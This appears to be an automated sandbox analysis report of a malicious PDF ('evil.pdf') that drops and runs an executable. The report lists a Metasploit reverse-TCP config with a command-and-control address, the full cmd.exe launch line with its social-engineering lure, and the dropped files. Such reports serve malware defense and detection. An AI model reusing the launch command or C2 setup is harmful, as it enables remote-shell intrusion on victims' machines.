Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    17/05/2024, 18:12

General

  • Target
    evil.pdf
  • Size 45KB
  • Sample240517-wtpd7scb85
  • SHA256 d59e9f301dc89d6e45cd695d8274bcaac4ed6b745369c3455c4343fdc61819b4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/reverse_tcp

C2
  • 146.19.191.45:4444

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies registry class 31 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\evil.pdf"
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2292
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\template.pdf" (cd "Desktop"))&(if exist "My Documents\template.pdf" (cd "My Documents"))&(if exist "Documents\template.pdf" (cd "Documents"))&(if exist "Escritorio\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\template.pdf" (cd "Mis Documentos"))&(start template.pdf) To view the encrypted content please tick the "Do not show this message again" box and press Open.
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2716
      • \??\c:\Users\Admin\Documents\template.pdf
        template.pdf
        3⤵
        • Executes dropped EXE
        PID:2948

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        SharedDataEvents

        • Path C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents
        • Size 3KB
        • SHA256 2f5035cc3eddf5a8cf4bc6dee82e81ec703104d28f42a6350a643af5c1f872c7
        • MD5 SHA1 SHA512

        template.pdf

        • Path C:\Users\Admin\Documents\template.pdf
        • Size 72KB
        • SHA256 5cfe86dcaed78ccabd079cb809786104314f73d5127c3ed6814bac9b1374fce8
        • MD5 SHA1 SHA512 SSDEEP

        memory/2292-0-0x00000000070E0000-0x0000000007B9A000-memory.dmp